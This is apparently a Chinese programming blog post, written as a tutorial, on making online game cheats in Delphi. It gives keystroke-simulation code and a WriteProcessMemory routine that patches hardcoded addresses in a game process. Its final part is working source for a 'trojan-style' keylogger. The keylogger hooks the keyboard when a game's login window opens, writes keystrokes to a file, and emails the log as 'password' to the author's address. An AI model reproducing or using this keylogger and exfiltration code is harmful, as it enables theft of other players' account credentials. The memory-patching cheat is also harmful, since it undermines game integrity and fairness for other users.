keybd_event(65,mapvirtualkey(65,0),0,0);
keybd_event(65,mapvirtualkey(65,0),keyeventf_keyup,0);
keybd_event(VK_CONTROL,mapvirtualkey(VK_CONTROL,0),keyeventf_keyup,0);

首先模拟按下了CTRL键,再模拟按下A键,再模拟放开A键,最后放开CTRL键,这就是一个模拟按快捷键的周期。

本地修改式外挂的整个制作过程进行一个详细的分解。
具我所知,本地修改式外挂最典型的应用就是在“精灵”游戏上面,因为我在近一年前(“精灵”还在测试阶段),我看了一下游戏的数据处理方式,发现它所发送到服务器上的信息是存在于内存当中(我看后第一个感受是:修改这种游戏和修改单机版的游戏没有多大分别,换句话说就是在他向服务器提交信息之前修改了内存地址就可以了),当时我找到了地址于是修改了内存地址,果然,按我的想法修改了地址,让系统自动提交后,果然成功了~~~~~,后来“精灵”又改成了双地址校检,内存校检等等,在这里我就不废话了~~~~,OK,我们就来看看这类外挂是如何制作的:

在做外挂之前我们要对Windows的内存有个具体的认识,而在这里我们所指的内存是指系统的内存偏移量,也就是相对内存,而我们所要对其进行修改,那么我们要对几个Windows API进行了解,OK,跟着例子让我们看清楚这种外挂的制作和API的应用(为了保证网络游戏的正常运行,我就不把找内存地址的方法详细解说了):
1、首先我们要用FindWindow,知道游戏窗口的句柄,因为我们要通过它来得知游戏的运行后所在进程的ID,下面就是FindWindow的用法:
HWND FindWindow(

LPCTSTR lpClassName, // pointer to class name

LPCTSTR lpWindowName // pointer to window name
);
2、我们GetWindowThreadProcessId来得到游戏窗口相对应进程的进程ID,函数用法如下:
DWORD GetWindowThreadProcessId(

HWND hWnd, // handle of window
LPDWORD lpdwProcessId // address of variable for process identifier
);
3、得到游戏进程ID后,接下来的事是要以最高权限打开进程,所用到的函数OpenProcess的具体使用方法如下:
HANDLE OpenProcess(

DWORD dwDesiredAccess, // access flag

BOOL bInheritHandle, // handle inheritance flag
DWORD dwProcessId // process identifier
);
在dwDesiredAccess之处就是设存取方式的地方,它可设的权限很多,我们在这里使用只要使用PROCESS_ALL_ACCESS 来打开进程就可以,其他的方式我们可以查一下MSDN。
4、打开进程后,我们就可以用函数对存内进行操作,在这里我们只要用到WriteProcessMemory来对内存地址写入数据即可(其他的操作方式比如说:ReadProcessMemory等,我在这里就不一一介绍了),我们看一下WriteProcessMemory的用法:

BOOL WriteProcessMemory(

HANDLE hProcess, // handle to process whose memory is written to
LPVOID lpBaseAddress, // address to start writing to
LPVOID lpBuffer, // pointer to buffer to write data to
DWORD nSize, // number of bytes to write
LPDWORD lpNumberOfBytesWritten // actual number of bytes written
);
5、下面用CloseHandle关闭进程句柄就完成了。
这就是这类游戏外挂的程序实现部份的方法,好了,有了此方法,我们就有了理性的认识,我们看看实际例子,提升一下我们的感性认识吧,下面就是XX游戏的外挂代码,我们照上面的方法对应去研究一下吧:

const
ResourceOffset: dword = $004219F4;
resource: dword = 3113226621;
ResourceOffset1: dword = $004219F8;
resource1: dword = 1940000000;
ResourceOffset2: dword = $0043FA50;
resource2: dword = 1280185;
ResourceOffset3: dword = $0043FA54;
resource3: dword = 3163064576;
ResourceOffset4: dword = $0043FA58;
resource4: dword = 2298478592;
var
hw: HWND;
pid: dword;
h: Thandle;
tt: Cardinal;
begin
hw := FindWindow('XX', nil);
if hw = 0 then

Exit;
GetWindowThreadProcessId(hw, @pid);
h := OpenProcess(PROCESS_ALL_ACCESS, false, pid);
if h = 0 then
Exit;
if flatcheckbox1.Checked=true then
begin
WriteProcessMemory(h, Pointer(ResourceOffset), @Resource, sizeof(Resource), tt);
WriteProcessMemory(h, Pointer(ResourceOffset1), @Resource1, sizeof(Resource1), tt);
end;
if flatcheckbox2.Checked=true then
begin
WriteProcessMemory(h, Pointer(ResourceOffset2), @Resource2, sizeof(Resource2), tt);

WriteProcessMemory(h, Pointer(ResourceOffset3), @Resource3, sizeof(Resource3), tt);
WriteProcessMemory(h, Pointer(ResourceOffset4), @Resource4, sizeof(Resource4), tt);
end;
MessageBeep(0);
CloseHandle(h);
close;
这个游戏是用了多地址对所要提交的数据进行了校验,所以说这类游戏外挂制作并不是很难,最难的是要找到这些地址。


以前介绍过的动作式,本地修改式外挂是真正意义上的外挂,而今天本文要介绍的木马式外挂,可能大多像木马吧,是帮助做外挂的人偷取别人游戏的帐号及密码的东东。因为网络上有此类外挂的存在。要做此类外挂的程序实现方法很多(比如HOOK,键盘监视等技术),因为HOOK技术对程序员的技术要求比较高并且在实际应用上需要多带一个动态链接库,所以在文中我会以键盘监视技术来实现此类木马的制作。键盘监视技术只需要一个.exe文件就能实现做到后台键盘监视,这个程序用这种技术来实现比较适合。

在做程序之前我们必需要了解一下程序的思路:
1、我们首先知道你想记录游戏的登录窗口名称。
2、判断登录窗口是否出现。
3、如果登录窗口出现,就记录键盘。
4、当窗口关闭时,把记录信息,通过邮件发送到程序设计者的邮箱。
第一点我就不具体分析了,因为你们比我还要了解你们玩的是什么游戏,登录窗口名称是什么。从第二点开始,我们就开始这类外挂的程序实现之旅:
那么我们要怎么样判断登录窗口虽否出现呢?其实这个很简单,我们用FindWindow函数就可以很轻松的实现了:

HWND FindWindow(

LPCTSTR lpClassName, // pointer to class name
LPCTSTR lpWindowName // pointer to window name
);
实际程序实现中,我们要找到'xx'窗口,就用FindWindow(nil,'xx')如果当返回值大于0时表示窗口已经出现,那么我们就可以对键盘信息进行记录了。
先首我们用SetWindowsHookEx设置监视日志,而该函数的用法如下:
HHOOK SetWindowsHookEx(

int idHook, // type of hook to install
HOOKPROC lpfn, // address of hook procedure

HINSTANCE hMod, // handle of application instance
DWORD dwThreadId // identity of thread to install hook for
);
在这里要说明的是在我们程序当中我们要对HOOKPROC这里我们要通过写一个函数,来实现而HINSTANCE这里我们直接用本程序的HINSTANCE就可以了,具体实现方法为:
hHook := SetWindowsHookEx(WH_JOURNALRECORD, HookProc, Hinstance, 0);
而HOOKPROC里的函数就要复杂一点点:
function HookProc(iCode: integer; wParam: wParam; lParam: lParam): Lresult; stdcall;

begin
if findedtitle then //如果发现窗口后
begin
if (peventmsg(lparam)^.message = WM_KEYDOWN) then //消息等于键盘按下
hookkey := hookkey + Form1.Keyhookresult(peventMsg(lparam)^.paramL, peventmsg(lparam)^.paramH); //通过keyhookresult(自定义的函数,主要功能是转换截获的消息参数为按键名称。我会在文章尾附上转化函数的)转换消息。
If length(hookkey) > 0 then //如果获得按键名称
begin
Write(hookkeyFile,hookkey); //把按键名称写入文本文件

hookkey := '';
end;
end;
end;
以上就是记录键盘的整个过程,简单吧,如果记录完可不要忘记释放呀,UnHookWindowsHookEx(hHook),而Hhook,就是创建setwindowshookex后所返回的句柄。
我们已经得到了键盘的记录,那么现在最后只要把记录的这些信息发送回来,我们就大功造成了。其他发送这块并不是很难,只要把记录从文本文件里边读出来,用DELPHI自带的电子邮件组件发一下就万事OK了。代码如下:
assignfile(ReadFile,'hook.txt'); //打开hook.txt这个文本文件
reset(ReadFile); //设为读取方式

try
While not Eof(ReadFile) do //当没有读到文件尾
begin
Readln(ReadFile,s,j); //读取文件行
body:=body+s;
end;
finally
closefile(ReadFile); //关闭文件
end;
nmsmtp1.EncodeType:=uuMime; //设置编码
nmsmtp1.PostMessage.Attachments.Text:=''; //设置附件
nmsmtp1.PostMessage.FromAddress:='XXX@XXX.com'; //设置源邮件地址
nmsmtp1.PostMessage.ToAddress.Text:='XXX@XXX.com'; /设置目标邮件地址

nmsmtp1.PostMessage.Body.Text:='密码'+' '+body; //设置邮件内容
nmsmtp1.PostMessage.Subject:='password'; //设置邮件标题
nmsmtp1.SendMail; //发送邮件
这个程序全部功能已经实现,编编试试
 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值